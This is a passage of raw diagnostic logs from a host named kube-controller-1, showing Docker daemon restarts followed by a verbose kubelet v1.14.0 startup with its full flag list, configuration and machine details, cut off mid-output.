10:15:42 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:42.819714169+08:00\  level=info msg=\ loading containers: start.\ \r apr 11 10:15:43 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:43.030482859+08:00\  level=info msg=\ default bridge  docker0  is assigned with an ip address 172.17.0.0/16. daemon option --bip can be used to set a preferred ip address\ \r apr 11 10:15:43 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:43.079288815+08:00\  level=info msg=\ loading containers: done.\ \r apr 11 10:15:43 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:43.118227923+08:00\  level=info msg=\ docker daemon\  commit=d14af54 graphdriver s =overlay2 version=18.09.4\r apr 11 10:15:43 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:43.118403727+08:00\  level=info msg=\ daemon has completed initialization\ \r apr 11 10:15:43 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:43.157990038+08:00\  level=info msg=\ api listen on /var/run/docker.sock\ \r apr 11 10:15:43 kube-controller-1 systemd 1 : started docker application container engine.\r -- subject: unit docker.service has finished start-up\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r --\r -- unit docker.service has finished starting up.\r --\r -- the start-up result is done.\r apr 11 10:15:48 kube-controller-1 systemd 1 : stopping docker application container engine...\r -- subject: unit docker.service has begun shutting down\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r --\r -- unit docker.service has begun shutting down.\r apr 11 10:15:48 kube-controller-1 dockerd 5261 : time=\ 2019-04-11t10:15:48.276196264+08:00\  level=info msg=\ processing signal 'terminated'\ \r apr 11 10:15:48 kube-controller-1 systemd 1 : stopped docker application container engine.\r -- subject: unit docker.service has finished shutting down\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r --\r -- unit docker.service has finished shutting down.\r apr 11 10:15:48 kube-controller-1 systemd 1 : starting docker application container engine...\r -- subject: unit docker.service has begun start-up\r -- defined-by: systemd\r -- support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel\r --\r -- unit docker.service has begun starting up.\r    \r \r     full verbose log\r    \r flag --cgroup-driver has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r flag --address has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r flag --pod-manifest-path has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r flag --allow-privileged has been deprecated, will be removed in a future version\r flag --kubelet-cgroups has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r i0411 14:25:34.335171     770 flags.go:33  flag: --address=\ 127.0.0.1\ \r i0411 14:25:34.335229     770 flags.go:33  flag: --allow-privileged=\ true\ \r i0411 14:25:34.335235     770 flags.go:33  flag: --allowed-unsafe-sysctls=\   \ \r i0411 14:25:34.335244     770 flags.go:33  flag: --alsologtostderr=\ false\ \r i0411 14:25:34.335249     770 flags.go:33  flag: --anonymous-auth=\ true\ \r i0411 14:25:34.335254     770 flags.go:33  flag: --application-metrics-count-limit=\ 100\ \r i0411 14:25:34.335258     770 flags.go:33  flag: --authentication-token-webhook=\ false\ \r i0411 14:25:34.335262     770 flags.go:33  flag: --authentication-token-webhook-cache-ttl=\ 2m0s\ \r i0411 14:25:34.335268     770 flags.go:33  flag: --authorization-mode=\ alwaysallow\ \r i0411 14:25:34.335273     770 flags.go:33  flag: --authorization-webhook-cache-authorized-ttl=\ 5m0s\ \r i0411 14:25:34.335277     770 flags.go:33  flag: --authorization-webhook-cache-unauthorized-ttl=\ 30s\ \r i0411 14:25:34.335281     770 flags.go:33  flag: --azure-container-registry-config=\ \ \r i0411 14:25:34.335285     770 flags.go:33  flag: --boot-id-file=\ /proc/sys/kernel/random/boot_id\ \r i0411 14:25:34.335290     770 flags.go:33  flag: --bootstrap-checkpoint-path=\ \ \r i0411 14:25:34.335294     770 flags.go:33  flag: --bootstrap-kubeconfig=\ \ \r i0411 14:25:34.335297     770 flags.go:33  flag: --cert-dir=\ /var/lib/kubelet/pki\ \r i0411 14:25:34.335302     770 flags.go:33  flag: --cgroup-driver=\ systemd\ \r i0411 14:25:34.335306     770 flags.go:33  flag: --cgroup-root=\ \ \r i0411 14:25:34.335310     770 flags.go:33  flag: --cgroups-per-qos=\ true\ \r i0411 14:25:34.335314     770 flags.go:33  flag: --chaos-chance=\ 0\ \r i0411 14:25:34.335321     770 flags.go:33  flag: --client-ca-file=\ \ \r i0411 14:25:34.335325     770 flags.go:33  flag: --cloud-config=\ \ \r i0411 14:25:34.335328     770 flags.go:33  flag: --cloud-provider=\ \ \r i0411 14:25:34.335332     770 flags.go:33  flag: --cluster-dns=\   \ \r i0411 14:25:34.335339     770 flags.go:33  flag: --cluster-domain=\ \ \r i0411 14:25:34.335343     770 flags.go:33  flag: --cni-bin-dir=\ /opt/cni/bin\ \r i0411 14:25:34.335347     770 flags.go:33  flag: --cni-conf-dir=\ /etc/cni/net.d\ \r i0411 14:25:34.335351     770 flags.go:33  flag: --config=\ \ \r i0411 14:25:34.335355     770 flags.go:33  flag: --container-hints=\ /etc/cadvisor/container_hints.json\ \r i0411 14:25:34.335360     770 flags.go:33  flag: --container-log-max-files=\ 5\ \r i0411 14:25:34.335365     770 flags.go:33  flag: --container-log-max-size=\ 10mi\ \r i0411 14:25:34.335369     770 flags.go:33  flag: --container-runtime=\ docker\ \r i0411 14:25:34.335373     770 flags.go:33  flag: --container-runtime-endpoint=\ unix:///var/run/dockershim.sock\ \r i0411 14:25:34.335377     770 flags.go:33  flag: --containerd=\ unix:///var/run/containerd.sock\ \r i0411 14:25:34.335382     770 flags.go:33  flag: --containerized=\ false\ \r i0411 14:25:34.335385     770 flags.go:33  flag: --contention-profiling=\ false\ \r i0411 14:25:34.335389     770 flags.go:33  flag: --cpu-cfs-quota=\ true\ \r i0411 14:25:34.335393     770 flags.go:33  flag: --cpu-cfs-quota-period=\ 100ms\ \r i0411 14:25:34.335397     770 flags.go:33  flag: --cpu-manager-policy=\ none\ \r i0411 14:25:34.335406     770 flags.go:33  flag: --cpu-manager-reconcile-period=\ 10s\ \r i0411 14:25:34.335411     770 flags.go:33  flag: --docker=\ unix:///var/run/docker.sock\ \r i0411 14:25:34.335415     770 flags.go:33  flag: --docker-endpoint=\ unix:///var/run/docker.sock\ \r i0411 14:25:34.335421     770 flags.go:33  flag: --docker-env-metadata-whitelist=\ \ \r i0411 14:25:34.335426     770 flags.go:33  flag: --docker-only=\ false\ \r i0411 14:25:34.335429     770 flags.go:33  flag: --docker-root=\ /var/lib/docker\ \r i0411 14:25:34.335434     770 flags.go:33  flag: --docker-tls=\ false\ \r i0411 14:25:34.335438     770 flags.go:33  flag: --docker-tls-ca=\ ca.pem\ \r i0411 14:25:34.335442     770 flags.go:33  flag: --docker-tls-cert=\ cert.pem\ \r i0411 14:25:34.335445     770 flags.go:33  flag: --docker-tls-key=\ key.pem\ \r i0411 14:25:34.335450     770 flags.go:33  flag: --dynamic-config-dir=\ \ \r i0411 14:25:34.335456     770 flags.go:33  flag: --enable-controller-attach-detach=\ true\ \r i0411 14:25:34.335460     770 flags.go:33  flag: --enable-debugging-handlers=\ true\ \r i0411 14:25:34.335464     770 flags.go:33  flag: --enable-load-reader=\ false\ \r i0411 14:25:34.335468     770 flags.go:33  flag: --enable-server=\ true\ \r i0411 14:25:34.335471     770 flags.go:33  flag: --enforce-node-allocatable=\  pods \ \r i0411 14:25:34.335477     770 flags.go:33  flag: --event-burst=\ 10\ \r i0411 14:25:34.335481     770 flags.go:33  flag: --event-qps=\ 5\ \r i0411 14:25:34.335485     770 flags.go:33  flag: --event-storage-age-limit=\ default=0\ \r i0411 14:25:34.335489     770 flags.go:33  flag: --event-storage-event-limit=\ default=0\ \r i0411 14:25:34.335493     770 flags.go:33  flag: --eviction-hard=\ imagefs.available<15%,memory.available<100mi,nodefs.available<10%,nodefs.inodesfree<5%\ \r i0411 14:25:34.335506     770 flags.go:33  flag: --eviction-max-pod-grace-period=\ 0\ \r i0411 14:25:34.335510     770 flags.go:33  flag: --eviction-minimum-reclaim=\ \ \r i0411 14:25:34.335516     770 flags.go:33  flag: --eviction-pressure-transition-period=\ 5m0s\ \r i0411 14:25:34.335520     770 flags.go:33  flag: --eviction-soft=\ \ \r i0411 14:25:34.335525     770 flags.go:33  flag: --eviction-soft-grace-period=\ \ \r i0411 14:25:34.335529     770 flags.go:33  flag: --exit-on-lock-contention=\ false\ \r i0411 14:25:34.335533     770 flags.go:33  flag: --experimental-allocatable-ignore-eviction=\ false\ \r i0411 14:25:34.335544     770 flags.go:33  flag: --experimental-bootstrap-kubeconfig=\ \ \r i0411 14:25:34.335548     770 flags.go:33  flag: --experimental-check-node-capabilities-before-mount=\ false\ \r i0411 14:25:34.335553     770 flags.go:33  flag: --experimental-dockershim=\ false\ \r i0411 14:25:34.335556     770 flags.go:33  flag: --experimental-dockershim-root-directory=\ /var/lib/dockershim\ \r i0411 14:25:34.335561     770 flags.go:33  flag: --experimental-kernel-memcg-notification=\ false\ \r i0411 14:25:34.335565     770 flags.go:33  flag: --experimental-mounter-path=\ \ \r i0411 14:25:34.335568     770 flags.go:33  flag: --fail-swap-on=\ true\ \r i0411 14:25:34.335572     770 flags.go:33  flag: --feature-gates=\ \ \r i0411 14:25:34.335578     770 flags.go:33  flag: --file-check-frequency=\ 20s\ \r i0411 14:25:34.335582     770 flags.go:33  flag: --global-housekeeping-interval=\ 1m0s\ \r i0411 14:25:34.335586     770 flags.go:33  flag: --hairpin-mode=\ promiscuous-bridge\ \r i0411 14:25:34.335590     770 flags.go:33  flag: --healthz-bind-address=\ 127.0.0.1\ \r i0411 14:25:34.335595     770 flags.go:33  flag: --healthz-port=\ 10248\ \r i0411 14:25:34.335599     770 flags.go:33  flag: --help=\ false\ \r i0411 14:25:34.335603     770 flags.go:33  flag: --host-ipc-sources=\    \ \r i0411 14:25:34.335610     770 flags.go:33  flag: --host-network-sources=\    \ \r i0411 14:25:34.335614     770 flags.go:33  flag: --host-pid-sources=\    \ \r i0411 14:25:34.335621     770 flags.go:33  flag: --hostname-override=\ \ \r i0411 14:25:34.335625     770 flags.go:33  flag: --housekeeping-interval=\ 10s\ \r i0411 14:25:34.335629     770 flags.go:33  flag: --http-check-frequency=\ 20s\ \r i0411 14:25:34.335633     770 flags.go:33  flag: --image-gc-high-threshold=\ 85\ \r i0411 14:25:34.335643     770 flags.go:33  flag: --image-gc-low-threshold=\ 80\ \r i0411 14:25:34.335648     770 flags.go:33  flag: --image-pull-progress-deadline=\ 1m0s\ \r i0411 14:25:34.335652     770 flags.go:33  flag: --image-service-endpoint=\ \ \r i0411 14:25:34.335656     770 flags.go:33  flag: --iptables-drop-bit=\ 15\ \r i0411 14:25:34.335660     770 flags.go:33  flag: --iptables-masquerade-bit=\ 14\ \r i0411 14:25:34.335663     770 flags.go:33  flag: --keep-terminated-pod-volumes=\ false\ \r i0411 14:25:34.335667     770 flags.go:33  flag: --kube-api-burst=\ 10\ \r i0411 14:25:34.335671     770 flags.go:33  flag: --kube-api-content-type=\ application/vnd.kubernetes.protobuf\ \r i0411 14:25:34.335676     770 flags.go:33  flag: --kube-api-qps=\ 5\ \r i0411 14:25:34.335680     770 flags.go:33  flag: --kube-reserved=\ \ \r i0411 14:25:34.335684     770 flags.go:33  flag: --kube-reserved-cgroup=\ \ \r i0411 14:25:34.335688     770 flags.go:33  flag: --kubeconfig=\ \ \r i0411 14:25:34.335692     770 flags.go:33  flag: --kubelet-cgroups=\ /lib/systemd/system/kubelet.service\ \r i0411 14:25:34.335696     770 flags.go:33  flag: --lock-file=\ \ \r i0411 14:25:34.335700     770 flags.go:33  flag: --log-backtrace-at=\ :0\ \r i0411 14:25:34.335705     770 flags.go:33  flag: --log-cadvisor-usage=\ false\ \r i0411 14:25:34.335709     770 flags.go:33  flag: --log-dir=\ \ \r i0411 14:25:34.335713     770 flags.go:33  flag: --log-file=\ \ \r i0411 14:25:34.335717     770 flags.go:33  flag: --log-flush-frequency=\ 5s\ \r i0411 14:25:34.335721     770 flags.go:33  flag: --logtostderr=\ true\ \r i0411 14:25:34.335725     770 flags.go:33  flag: --machine-id-file=\ /etc/machine-id,/var/lib/dbus/machine-id\ \r i0411 14:25:34.335729     770 flags.go:33  flag: --make-iptables-util-chains=\ true\ \r i0411 14:25:34.335733     770 flags.go:33  flag: --manifest-url=\ \ \r i0411 14:25:34.335737     770 flags.go:33  flag: --manifest-url-header=\ \ \r i0411 14:25:34.335743     770 flags.go:33  flag: --master-service-namespace=\ default\ \r i0411 14:25:34.335747     770 flags.go:33  flag: --max-open-files=\ 1000000\ \r i0411 14:25:34.335752     770 flags.go:33  flag: --max-pods=\ 110\ \r i0411 14:25:34.335757     770 flags.go:33  flag: --maximum-dead-containers=\ -1\ \r i0411 14:25:34.335761     770 flags.go:33  flag: --maximum-dead-containers-per-container=\ 1\ \r i0411 14:25:34.335765     770 flags.go:33  flag: --minimum-container-ttl-duration=\ 0s\ \r i0411 14:25:34.335768     770 flags.go:33  flag: --minimum-image-ttl-duration=\ 2m0s\ \r i0411 14:25:34.335772     770 flags.go:33  flag: --network-plugin=\ \ \r i0411 14:25:34.335776     770 flags.go:33  flag: --network-plugin-mtu=\ 0\ \r i0411 14:25:34.335780     770 flags.go:33  flag: --node-ip=\ \ \r i0411 14:25:34.335784     770 flags.go:33  flag: --node-labels=\ \ \r i0411 14:25:34.335792     770 flags.go:33  flag: --node-status-max-images=\ 50\ \r i0411 14:25:34.335797     770 flags.go:33  flag: --node-status-update-frequency=\ 10s\ \r i0411 14:25:34.335801     770 flags.go:33  flag: --non-masquerade-cidr=\ 10.0.0.0/8\ \r i0411 14:25:34.335805     770 flags.go:33  flag: --oom-score-adj=\ -999\ \r i0411 14:25:34.335809     770 flags.go:33  flag: --pod-cidr=\ \ \r i0411 14:25:34.335813     770 flags.go:33  flag: --pod-infra-container-image=\ k8s.gcr.io/pause:3.1\ \r i0411 14:25:34.335817     770 flags.go:33  flag: --pod-manifest-path=\ /etc/kubernetes/manifests\ \r i0411 14:25:34.335821     770 flags.go:33  flag: --pod-max-pids=\ -1\ \r i0411 14:25:34.335825     770 flags.go:33  flag: --pods-per-core=\ 0\ \r i0411 14:25:34.335829     770 flags.go:33  flag: --port=\ 10250\ \r i0411 14:25:34.335833     770 flags.go:33  flag: --protect-kernel-defaults=\ false\ \r i0411 14:25:34.335839     770 flags.go:33  flag: --provider-id=\ \ \r i0411 14:25:34.335843     770 flags.go:33  flag: --qos-reserved=\ \ \r i0411 14:25:34.335847     770 flags.go:33  flag: --read-only-port=\ 10255\ \r i0411 14:25:34.335851     770 flags.go:33  flag: --really-crash-for-testing=\ false\ \r i0411 14:25:34.335855     770 flags.go:33  flag: --redirect-container-streaming=\ false\ \r i0411 14:25:34.335859     770 flags.go:33  flag: --register-node=\ true\ \r i0411 14:25:34.335863     770 flags.go:33  flag: --register-schedulable=\ true\ \r i0411 14:25:34.335870     770 flags.go:33  flag: --register-with-taints=\ \ \r i0411 14:25:34.335876     770 flags.go:33  flag: --registry-burst=\ 10\ \r i0411 14:25:34.335880     770 flags.go:33  flag: --registry-qps=\ 5\ \r i0411 14:25:34.335884     770 flags.go:33  flag: --resolv-conf=\ /etc/resolv.conf\ \r i0411 14:25:34.335888     770 flags.go:33  flag: --root-dir=\ /var/lib/kubelet\ \r i0411 14:25:34.335892     770 flags.go:33  flag: --rotate-certificates=\ false\ \r i0411 14:25:34.335896     770 flags.go:33  flag: --rotate-server-certificates=\ false\ \r i0411 14:25:34.335900     770 flags.go:33  flag: --runonce=\ false\ \r i0411 14:25:34.335904     770 flags.go:33  flag: --runtime-cgroups=\ /lib/systemd/system/kubelet.service\ \r i0411 14:25:34.335908     770 flags.go:33  flag: --runtime-request-timeout=\ 2m0s\ \r i0411 14:25:34.335912     770 flags.go:33  flag: --seccomp-profile-root=\ /var/lib/kubelet/seccomp\ \r i0411 14:25:34.335917     770 flags.go:33  flag: --serialize-image-pulls=\ true\ \r i0411 14:25:34.335920     770 flags.go:33  flag: --stderrthreshold=\ 2\ \r i0411 14:25:34.335924     770 flags.go:33  flag: --storage-driver-buffer-duration=\ 1m0s\ \r i0411 14:25:34.335928     770 flags.go:33  flag: --storage-driver-db=\ cadvisor\ \r i0411 14:25:34.335933     770 flags.go:33  flag: --storage-driver-host=\ localhost:8086\ \r i0411 14:25:34.335937     770 flags.go:33  flag: --storage-driver-password=\ root\ \r i0411 14:25:34.335941     770 flags.go:33  flag: --storage-driver-secure=\ false\ \r i0411 14:25:34.335945     770 flags.go:33  flag: --storage-driver-table=\ stats\ \r i0411 14:25:34.335948     770 flags.go:33  flag: --storage-driver-user=\ root\ \r i0411 14:25:34.335952     770 flags.go:33  flag: --streaming-connection-idle-timeout=\ 4h0m0s\ \r i0411 14:25:34.335956     770 flags.go:33  flag: --sync-frequency=\ 1m0s\ \r i0411 14:25:34.335960     770 flags.go:33  flag: --system-cgroups=\ \ \r i0411 14:25:34.335964     770 flags.go:33  flag: --system-reserved=\ \ \r i0411 14:25:34.335968     770 flags.go:33  flag: --system-reserved-cgroup=\ \ \r i0411 14:25:34.335972     770 flags.go:33  flag: --tls-cert-file=\ \ \r i0411 14:25:34.335976     770 flags.go:33  flag: --tls-cipher-suites=\   \ \r i0411 14:25:34.335981     770 flags.go:33  flag: --tls-min-version=\ \ \r i0411 14:25:34.335984     770 flags.go:33  flag: --tls-private-key-file=\ \ \r i0411 14:25:34.335988     770 flags.go:33  flag: --v=\ 256\ \r i0411 14:25:34.335992     770 flags.go:33  flag: --version=\ false\ \r i0411 14:25:34.335999     770 flags.go:33  flag: --vmodule=\ \ \r i0411 14:25:34.336003     770 flags.go:33  flag: --volume-plugin-dir=\ /usr/libexec/kubernetes/kubelet-plugins/volume/exec/\ \r i0411 14:25:34.336008     770 flags.go:33  flag: --volume-stats-agg-period=\ 1m0s\ \r i0411 14:25:34.336039     770 feature_gate.go:226  feature gates: &{map  }\r i0411 14:25:34.336092     770 feature_gate.go:226  feature gates: &{map  }\r i0411 14:25:34.350208     770 mount_linux.go:171  detected os with systemd\r i0411 14:25:34.350255     770 server.go:263  kubeletconfiguration: config.kubeletconfiguration{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, staticpodpath:\ /etc/kubernetes/manifests\ , syncfrequency:v1.duration{duration:60000000000}, filecheckfrequency:v1.duration{duration:20000000000}, httpcheckfrequency:v1.duration{duration:20000000000}, staticpodurl:\ \ , staticpodurlheader:map string   string nil , address:\ 127.0.0.1\ , port:10250, readonlyport:10255, tlscertfile:\ /var/lib/kubelet/pki/kubelet.crt\ , tlsprivatekeyfile:\ /var/lib/kubelet/pki/kubelet.key\ , tlsciphersuites:  string nil , tlsminversion:\ \ , rotatecertificates:false, servertlsbootstrap:false, authentication:config.kubeletauthentication{x509:config.kubeletx509authentication{clientcafile:\ \ }, webhook:config.kubeletwebhookauthentication{enabled:false, cachettl:v1.duration{duration:120000000000}}, anonymous:config.kubeletanonymousauthentication{enabled:true}}, authorization:config.kubeletauthorization{mode:\ alwaysallow\ , webhook:config.kubeletwebhookauthorization{cacheauthorizedttl:v1.duration{duration:300000000000}, cacheunauthorizedttl:v1.duration{duration:30000000000}}}, registrypullqps:5, registryburst:10, eventrecordqps:5, eventburst:10, enabledebugginghandlers:true, enablecontentionprofiling:false, healthzport:10248, healthzbindaddress:\ 127.0.0.1\ , oomscoreadj:-999, clusterdomain:\ \ , clusterdns:  string nil , streamingconnectionidletimeout:v1.duration{duration:14400000000000}, nodestatusupdatefrequency:v1.duration{duration:10000000000}, nodestatusreportfrequency:v1.duration{duration:60000000000}, nodeleasedurationseconds:40, imageminimumgcage:v1.duration{duration:120000000000}, imagegchighthresholdpercent:85, imagegclowthresholdpercent:80, volumestatsaggperiod:v1.duration{duration:60000000000}, kubeletcgroups:\ /lib/systemd/system/kubelet.service\ , systemcgroups:\ \ , cgrouproot:\ \ , cgroupsperqos:true, cgroupdriver:\ systemd\ , cpumanagerpolicy:\ none\ , cpumanagerreconcileperiod:v1.duration{duration:10000000000}, qosreserved:map string string nil , runtimerequesttimeout:v1.duration{duration:120000000000}, hairpinmode:\ promiscuous-bridge\ , maxpods:110, podcidr:\ \ , podpidslimit:-1, resolverconfig:\ /etc/resolv.conf\ , cpucfsquota:true, cpucfsquotaperiod:v1.duration{duration:100000000}, maxopenfiles:1000000, contenttype:\ application/vnd.kubernetes.protobuf\ , kubeapiqps:5, kubeapiburst:10, serializeimagepulls:true, evictionhard:map string string{\ imagefs.available\ :\ 15%\ , \ memory.available\ :\ 100mi\ , \ nodefs.available\ :\ 10%\ , \ nodefs.inodesfree\ :\ 5%\ }, evictionsoft:map string string nil , evictionsoftgraceperiod:map string string nil , evictionpressuretransitionperiod:v1.duration{duration:300000000000}, evictionmaxpodgraceperiod:0, evictionminimumreclaim:map string string nil , podspercore:0, enablecontrollerattachdetach:true, protectkerneldefaults:false, makeiptablesutilchains:true, iptablesmasqueradebit:14, iptablesdropbit:15, featuregates:map string bool nil , failswapon:true, containerlogmaxsize:\ 10mi\ , containerlogmaxfiles:5, configmapandsecretchangedetectionstrategy:\ watch\ , systemreserved:map string string nil , kubereserved:map string string nil , systemreservedcgroup:\ \ , kubereservedcgroup:\ \ , enforcenodeallocatable:  string{\ pods\ }}\r i0411 14:25:34.350403     770 server.go:417  version: v1.14.0\r i0411 14:25:34.350452     770 feature_gate.go:226  feature gates: &{map  }\r i0411 14:25:34.350501     770 feature_gate.go:226  feature gates: &{map  }\r i0411 14:25:34.350594     770 plugins.go:103  no cloud provider specified.\r i0411 14:25:34.350612     770 server.go:533  no cloud provider specified: \ \  from the config file: \ \ \r w0411 14:25:34.350620     770 server.go:556  standalone mode, no api client\r i0411 14:25:34.350879     770 manager.go:156  cadvisor running in container: \ /sys/fs/cgroup/cpu,cpuacct\ \r i0411 14:25:34.379073     770 manager.go:167  rkt not connected: rkt: cannot tcp dial rkt api service: dial tcp 127.0.0.1:15441: connect: connection refused\r i0411 14:25:34.379325     770 manager.go:178  cri-o not connected: get http://%2fvar%2frun%2fcrio%2fcrio.sock/info: dial unix /var/run/crio/crio.sock: connect: no such file or directory\r i0411 14:25:34.400667     770 fs.go:144  filesystem uuids: map 2019-04-11-09-59-34-00:/dev/sr0 222e46a4-cb7b-472e-b5a7-d9236d68d48a:/dev/dm-0 971546b4-fe6b-4f81-9cbb-9186ff0454ea:/dev/vda1 \r i0411 14:25:34.400702     770 fs.go:145  filesystem partitions: map /dev/mapper/data-lv_data:{mountpoint:/data major:252 minor:0 fstype:ext4 blocksize:0} /dev/vda1:{mountpoint:/ major:253 minor:1 fstype:ext4 blocksize:0} tmpfs:{mountpoint:/run major:0 minor:18 fstype:tmpfs blocksize:0} \r i0411 14:25:34.402088     770 manager.go:231  machine: {numcores:8 cpufrequency:2394454 memorycapacity:16692002816 hugepages: {pagesize:2048 numpages:0}  machineid:c5f311a0edd169fa9fb1933c58105309 systemuuid:2bc0d193-87b6-4fb8-9c71-ae71186a36c4 bootid:d8b985f6-b1b4-45cf-8b7f-abe0eccc140a filesystems: {device:tmpfs devicemajor:0 deviceminor:18 capacity:1669201920 type:vfs inodes:2037598 hasinodes:true} {device:/dev/vda1 devicemajor:253 deviceminor:1 capacity:52709421056 type:vfs inodes:3276800 hasinodes:true} {device:/dev/mapper/data-lv_data devicemajor:252 deviceminor:0 capacity:1056755679232 type:vfs inodes:65536000 hasinodes:true}  diskmap:map 252:0:{name:dm-0 major:252 minor:0 size:1073737629696 scheduler:none} 253:0:{name:vda major:253 minor:0 size:53687091200 scheduler:none} 253:16:{name:vdb major:253 minor:16 size:1073741824000 scheduler:none}  networkdevices: {name:eth0 macaddress:52:54:00:63:04:f2 speed:-1 mtu:1500}  topology: {id:0 memory:16692002816 cores: {id:0 threads: 0  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:4194304 type:unified level:2} } {id:1 threads: 1  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:4194304 type:unified level:2} } {id:2 threads: 2  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:4194304 type:unified level:2} } {id:3 threads: 3  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:4194304 type:unified level:2} } {id:4 threads: 4  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:4194304 type:unified level:2} } {id:5 threads: 5  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:4194304 type:unified level:2} } {id:6 threads: 6  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:4194304 type:unified level:2} } {id:7 threads: 7  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:4194304 type:unified level:2} }  caches:  }  cloudprovider:unknown instancetype:unknown instanceid:none}\r i0411 14:25:34.403043     770 manager.go:237  version: {kernelversion:4.4.0-130-generic containerosversion:ubuntu 16.04.1 lts dockerversion:18.09.4 dockerapiversion:1.39 cadvisorversion: cadvisorrevision:}\r w0411 14:25:34.403154     770 server.go:474  no api server defined - no events will be sent to api server.\r i0411 14:25:34.403170     770 server.go:625  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r i0411 14:25:34.403544     770 container_manager_linux.go:261  container manager verified user specified cgroup-root exists:   \r i0411 14:25:34.403559     770 container_manager_linux.go:266  creating container manager object based on node config: {runtimecgroupsname:/lib/systemd/system/kubelet.service systemcgroupsname: kubeletcgroupsname:/lib/systemd/system/kubelet.service containerruntime:docker cgroupsperqos:true cgrouproot:/ cgroupdriver:systemd kubeletrootdir:/var/lib/kubelet protectkerneldefaults:false nodeallocatableconfig:{kubereservedcgroupname: systemreservedcgroupname: enforcenodeallocatable:map pods:{}  kubereserved:map   systemreserved:map   hardevictionthresholds: {signal:memory.available operator:lessthan value:{quantity:100mi percentage:0} graceperiod:0s minreclaim:<nil>} {signal:nodefs.available operator:lessthan value:{quantity:<nil> percentage:0.1} graceperiod:0s minreclaim:<nil>} {signal:nodefs.inodesfree operator:lessthan value:{quantity:<nil> percentage:0.05} graceperiod:0s minreclaim:<nil>} {signal:imagefs.available operator:lessthan value:{quantity:<nil> percentage:0.15} graceperiod:0s minreclaim:<nil>} } qosreserved:map   experimentalcpumanagerpolicy:none experimentalcpumanagerreconcileperiod:10s experimentalpodpidslimit:-1 enforcecpulimits:true cpucfsquotaperiod:100ms}\r i0411 14:25:34.403649     770 container_manager_linux.go:286  creating device plugin manager: true\r i0411 14:25:34.403657     770 manager.go:109  creating device plugin manager at /var/lib/kubelet/device-plugins/kubelet.sock\r i0411 14:25:34.403677     770 state_mem.go:36   cpumanager  initializing new in-memory state store\r i0411 14:25:34.403753     770 state_mem.go:84   cpumanager  updated default cpuset: \ \ \r i0411 14:25:34.403763     770 state_mem.go:92   cpumanager  updated cpuset assignments: \ map  \ \r i0411 14:25:34.403772     770 state_checkpoint.go:100   cpumanager  state checkpoint: restored state from checkpoint\r i0411 14:25:34.403781     770 state_checkpoint.go:101   cpumanager  state checkpoint: defaultcpuset: \r i0411 14:25:34.403807     770 oom_linux.go:65  attempting to set \ /proc/self/oom_score_adj\  to \ -999\ \r i0411 14:25:34.403847     770 server.go:979  using root directory: /var/lib/kubelet\r i0411 14:25:34.403878     770 kubelet.go:279  adding pod path: /etc/kubernetes/manifests\r i0411 14:25:34.403893     770 file.go:68  watching path \ /etc/kubernetes/manifests\ \r i0411 14:25:34.404097     770 config.go:303  setting pods for source file\r i0411 14:25:34.405805     770 iptables.go:611  couldn't get iptables-restore version; assuming it doesn't support --wait\r i0411 14:25:34.405934     770 client.go:75  connecting to docker on unix:///var/run/docker.sock\r i0411 14:25:34.405950     770 client.go:104  start docker client with request timeout=2m0s\r w0411 14:25:34.407274     770 docker_service.go:561  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r i0411 14:25:34.407295     770 docker_service.go:238  hairpin mode set to \ hairpin-veth\ \r w0411 14:25:34.407418     770 cni.go:213  unable to update cni config: no networks found in /etc/cni/net.d\r i0411 14:25:34.409099     770 iptables.go:611  couldn't get iptables-restore version; assuming it doesn't support --wait\r i0411 14:25:34.410489     770 docker_service.go:253  docker cri networking managed by kubernetes.io/no-op\r i0411 14:25:34.429758     770 docker_service.go:258  docker info: &{id:ssvs:t4vj:pput:jtdc:shnb:k7wt:iqkb:p4pf:d34c:anku:awyu:vfdu containers:0 containersrunning:0 containerspaused:0 containersstopped:0 images:7 driver:overlay2 driverstatus:  backing filesystem extfs   supports d_type true   native overlay diff true   systemstatus:   plugins:{volume: local  network: bridge host macvlan null overlay  authorization:   log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog } memorylimit:true swaplimit:false kernelmemory:true cpucfsperiod:true cpucfsquota:true cpushares:true cpuset:true ipv4forwarding:true bridgenfiptables:true bridgenfip6tables:true debug:false nfd:24 oomkilldisable:true ngoroutines:38 systemtime:2019-04-11t14:25:34.411796933+08:00 loggingdriver:json-file cgroupdriver:systemd neventslistener:0 kernelversion:4.4.0-130-generic operatingsystem:ubuntu 16.04.1 lts ostype:linux architecture:x86_64 indexserveraddress:https://index.docker.io/v1/ registryconfig:0xc0006cee70 ncpu:8 memtotal:16692002816 genericresources:   dockerrootdir:/data/docker httpproxy: httpsproxy: noproxy: name:kube-controller-1 labels:   experimentalbuild:false serverversion:18.09.4 